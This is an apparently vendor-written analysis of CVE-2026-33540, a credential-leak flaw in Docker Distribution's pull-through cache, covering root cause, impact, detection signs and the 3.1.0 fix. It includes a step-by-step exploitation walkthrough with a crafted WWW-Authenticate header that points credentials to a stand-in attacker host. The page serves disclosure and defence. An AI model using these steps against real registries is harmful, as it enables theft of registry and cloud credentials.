CVE-2026-33540: 
NixOS vulnerability analysis and mitigation

CVE-2026-33540 is a credential exfiltration vulnerability in the Distribution container registry toolkit (also known as Docker Distribution) affecting its pull-through cache mode. When operating as a pull-through cache proxy, distribution parses WWW-Authenticate bearer challenges from upstream registries and uses the returned realm URL without validating that it belongs to the configured upstream host. This allows an attacker-controlled upstream or a man-in-the-middle attacker to redirect the distribution instance's configured credentials to an arbitrary attacker-controlled URL. All versions up to and including 3.0.0 (v2 module: ≤ 2.8.3) are affected; the fix is available in version 3.1.0. The vulnerability carries a CVSS v3.1 base score of 7.5 (High) (GitHub Advisory, GitHub Advisory DB).

The root cause is classified as CWE-918 (Server-Side Request Forgery), where distribution's proxy authentication flow blindly trusts the realm field from a WWW-Authenticate: Bearer challenge without verifying it resolves to the intended upstream host. The vulnerable code paths are registry/proxy/proxyauth.go:66-81 (getAuthURLs), which extracts the bearer realm without destination validation, and internal/client/auth/session.go:485-510 (fetchToken) and lines 429-434 (fetchTokenWithBasicAuth), which use the realm URL directly to send credentials via HTTP Basic Auth. This vulnerability is in the same class as CVE-2020-15157 (containerd), applied to distribution's pull-through cache proxy auth flow. A runnable proof-of-concept (poc.zip) was included in the advisory, using two local HTTP servers to demonstrate that basic_auth_sent=true to an attacker-chosen realm (GitHub Advisory).

Successful exploitation results in the disclosure of the upstream registry credentials configured for the pull-through cache, transmitted in plaintext via HTTP Basic Auth to an attacker-controlled server. If the deployment uses broad credentials for upstream authentication — such as cloud IAM credentials or service account tokens — the downstream impact can extend well beyond registry access, potentially enabling lateral movement into cloud infrastructure or supply chain compromise. Integrity and availability are not directly impacted by this vulnerability (GitHub Advisory, GitHub Advisory DB).

A proof-of-concept exploit harness (poc.zip) was published alongside the security advisory, demonstrating credential exfiltration using local HTTP servers to simulate the attack scenario (GitHub Advisory). No evidence of in-the-wild exploitation has been reported at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.055% (17th percentile), indicating a currently low probability of active exploitation. The attack requires no authentication and no user interaction, but does require either control of the upstream registry or a MitM position on the upstream connection (GitHub Advisory DB).

1. Identify target: Locate a distribution instance operating in pull-through cache mode with credentials configured for an upstream registry (e.g., Docker Hub, a private registry).
2. Establish attacker position: Either gain control of the upstream registry (e.g., via a compromised domain, stale DNS, or malicious mirror) or achieve a MitM position on the network path between the distribution instance and the upstream registry.
3. Serve malicious WWW-Authenticate challenge: When the distribution pull-through cache makes a request to the upstream registry, respond with a crafted HTTP 401 response containing a WWW-Authenticate: Bearer realm="http://attacker-controlled-host/token" header pointing to an attacker-controlled token endpoint.
4. Capture credentials: The distribution instance, without validating that the realm host matches the configured upstream, will send an HTTP request with Authorization: Basic <base64(username:password)> to the attacker-controlled realm URL.
5. Decode and use credentials: Decode the Base64-encoded Basic Auth header to recover the upstream registry credentials, which can then be used to authenticate to the legitimate upstream registry or other services sharing those credentials (GitHub Advisory).

• Network: Outbound HTTP/HTTPS requests from the distribution host to unexpected or external token endpoints (i.e., hosts not matching the configured upstream registry); HTTP requests containing Authorization: Basic headers sent to non-upstream hosts.
• Logs: Distribution proxy logs showing token fetch requests to realm URLs that differ from the configured upstream registry hostname; unexpected 401 responses from the upstream registry followed by outbound auth requests to a different host.
• Configuration Review: Pull-through cache configurations pointing to upstream registries with recently changed DNS records, expired domains, or unverified mirrors should be treated as suspicious.

The vulnerability is fixed in distribution version 3.1.0 (Go module github.com/distribution/distribution/v3); upgrading to this version is the primary recommended remediation (GitHub Advisory). For the v2 module (github.com/distribution/distribution), versions ≤ 2.8.3 are affected and no patched v2 release is listed — users should migrate to the v3 module. As interim mitigations: ensure the upstream registry is trusted and cannot be compromised; enforce TLS with certificate validation on the upstream connection to reduce MitM risk; and consider network-level controls (e.g., egress filtering) to restrict outbound connections from the distribution host to only known registry endpoints. IBM Business Automation Insights users should apply the May 2026 iFixes (IBM Advisory).

Red Hat tracked the vulnerability via Bugzilla (Bug 2455430) and assigned it medium severity in their product security triage (Red Hat Bugzilla). IBM issued a security bulletin addressing the vulnerability in IBM Business Automation Insights as part of May 2026 iFixes (IBM Advisory). The advisory drew comparisons to CVE-2020-15157 (a similar credential exfiltration flaw in containerd), which may increase community awareness given that prior vulnerability's impact on container ecosystems.